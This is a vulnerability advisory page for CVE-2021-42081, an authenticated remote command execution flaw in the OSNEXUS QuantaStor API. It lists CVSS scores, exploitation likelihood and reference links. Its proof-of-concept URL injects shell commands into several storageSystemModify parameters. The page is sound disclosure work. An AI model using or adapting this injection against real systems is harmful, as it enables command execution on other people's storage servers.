CVE-2021-42081

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected

OSNEXUS · QuantaStor

CVSS v3.1 NVD

7.2 HIGHCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS v3.1 DIVD

9.1 CRITICALCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS

1.23% chance of exploitation in the next 30 days, 68th percentile

Published

2023-07-10

Updated

2025-09-22

Proof-of-concept exploits (2)

• https://www.wbsec.nl/osnexus
• https://csirt.divd.nl/CVE-2021-42081

Security advisories

• https://www.osnexus.com/products/software-defined-storage

References

• CVE Record
• NVD entry